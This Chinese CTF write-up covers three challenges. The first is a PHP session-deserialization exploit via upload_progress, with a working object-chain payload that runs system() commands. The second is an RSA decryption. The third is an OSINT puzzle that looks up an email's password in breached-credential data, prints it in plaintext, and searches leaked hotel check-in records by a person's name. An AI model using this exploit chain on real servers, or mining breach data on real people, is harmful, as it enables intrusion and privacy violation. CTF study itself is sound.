【安恒429】对web3的一点理解

参考资料:

http://www.jb51.net/article/56305.htm

http://drops.wooyun.org/tips/3909

http://cn.php.net/manual/zh/session.configuration.php

web3 总共包括三个文件 index.php class.php phpinfo.php

全都给出了源码,并且给了我们一个phpinfo页面

index.php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

class.php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "
这是foo2的析构函数
";
}
}

class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "
这是foo3的析构函数
";
}
}

?>

phpinfo.php

session_start();

require("./class.php");

$f3 = new foo3();

$f3->varr = "phpinfo();";

$f3->execute();

?>

从phpinfo页面中 我们可以知道几个信息

PHP Version 5.6.19
session.auto_start Off Off
session.serialize_handler php_serialize php_serialize
session.upload_progress.cleanup Off Off
session.upload_progress.enabled On On
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefix upload_progress_ upload_progress_

php.ini里面设置的php反序列化处理器是php_serialize

而在index.php中的处理器是php

此时session.auto_start=Off,就会导致反序列化漏洞,可以实例化我们构造好的对象,并执行类中的__wakeup()以及__destruct(),__construct()等内置的自动触发的方法

参考资料:http://drops.wooyun.org/tips/3909

结合文件代码,看到这里大概我们就知道了,这一题要构造出执行链,然后序列化之后输入到session中,通过反序列化注入对象,并且执行我们想要的命令

这时候问题就来了,输入点在哪?

通读代码,并没有发现$_GET $_POST $_COOKIE等方法。

但是代码中启用了session 所以这里可以用一个奇淫技巧向session里面注入我们构造的数据。

session.upload_progress.enabled=On时

当浏览器向服务器端上传一个文件时,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中。然后,随着上传的进行,周期性的更新session中的信息。

所以我们就可以自己构造一个上传表单,在表单中注入我们的反序列化字符串

其中enabled控制upload_progress功能的开启与否,默认开启;cleanup 则设置当文件上传的请求提交完成后,是否清除session的相关信息,默认开启。

在上传文件的表单中,需要为该次上传设置一个标识符,并在接下来的过程中使用该标识符来引用进度信息。具体的,在上传表单中需要有一个隐藏的input,它的name属性为php.ini中 session.upload_progress.name 的值;它的值可以由自己定义(假设是“test”)

那么文件上传的信息会存在session的session.upload_progress.prefix+session.upload_progress.name字段里。

在php.ini默认设置的情况下,我们定义的值为test

那么在文件的信息就会存在于$_SESSION['upload_progress_test']中,打印出这个字段的结构后,我们就可以知道,我们可控的字符串字段包括文件名,表单的文件变量名,session.upload_progress.name等。

此时完整的利用链就出来了。

先通过构造文件上传表单,在session中创建一个构造好的反序列化字符串。

然后在通过这里的反序列化缺陷,让他自动执行我们的恶意代码

仔细阅读class.php

$foo1=new foo1();
$foo2=new foo2();
$foo3=new foo3();
$foo3->varr="system('#code to execute#');";
$foo2->obj=$foo3;
$foo1->varr=$foo2;
echo serialize($foo1);

上面的语句可以构造出序列化之后的命令执行

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:31:"system('ls -al /var/www/html');";}}}

这样就可以执行命令了~~

在构造一下cat /var/www/html/flag_Z11O65g9uWbBUokxujdkc763h83hhZUuzoXe.php

就可以读出来flag了

 

【安恒429】两题writeup

rsa算法原理参见:http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html

题目:

{920139713,19}

704796792
752211152
274704164
18414022
368270835
483295235
263072905
459788476
483295235
459788476
663551792
475206804
459788476
428313374
475206804
459788476
425392137
704796792
458265677
341524652
483295235
534149509
425392137
428313374
425392137
341524652
458265677
263072905
483295235
828509797
341524652
425392137
475206804
428313374
483295235
475206804
459788476
306220148

猜测给出的是公钥。

用python可以穷举出两个素数分别是18443 * 49891

于是得到方程:19x+920071380y=1

用拓展欧几里得求解

def extendedGCD1(a, b):
# a*xi + b*yi = ri
if b == 0:
return (1, 0, a)
(x, y, r) = extendedGCD1(b, a%b)
"""
gcd(a, b) = a*xi + b*yi
gcd(b, a % b) = b*xi+1 + (a - [a/b]*b)*yi+1
gcd(a, b) = gcd(b, a % b) => a*xi + b*yi = a*yi+1 + b*(xi+1 - [a/b]*yi+1)
xi = yi+1
yi = xi+1 - [a/b]*yi+1
"""
tmp = x
x = y
y = tmp - (a/b) * y
return (x, y, r)
a,b,c=extendedGCD1(19,920071380)
print a,b,c

x=96849619 y=-2

那么私钥就有了,写Py解密

a=[704796792,752211152,274704164,18414022,368270835,483295235,263072905,459788476,

483295235,459788476,663551792,475206804,459788476,428313374,475206804,459788476

,425392137,704796792,458265677,341524652,483295235,534149509,425392137,428313374,

425392137,341524652,458265677,263072905,483295235,828509797,341524652,425392137,

475206804,428313374,483295235,475206804,459788476,306220148]
flag=''
for i in range(0,len(a)):
flag+=chr(pow(a[i],96849619,920139713))
print flag

结果:

 

第二题:社工题

线索:https://www.douban.com/group/topic/5221588/?start=200

第一步在"喜欢"里找到了出题人

点击看他个人信息:

得到三个信息

1.weiluchuan12341127@163.com

2.听说163被拖库了,吓得我立马改了密码,但原密码是我的密钥啊怎么办

3.evL5S5J+a5HzxAKR8xXiUXPUd1LDKPYYNHSjN6ZF8i0=

意思是,找到邮箱的密码,作为密钥解开上面的密文

于是结合到前段时间传的一个163密码泄露,通过一个网址查询到密码http://163password.download/

weiluchuan12341127@163.com----63542021127

在根据得到的密文和密钥去找解密。。

放一个解密网址:https://www.tools4noobs.com/online_tools/decrypt/

接下来就跟踪到微博。。。http://www.weibo.com/u/3192503722

在微博好一顿找,过程不赘述。

在相册找到三个线索

姓名:董进 10年开过房 flag是身份证+之前的那个密钥

联想到开房信息的泄露,于是找一个网站进行检索http://www.kfzlk.com/index.asp?keyword=%B6%AD%BD%F8

试了几个叫董进的,10年开房的。。。。

然后就成功了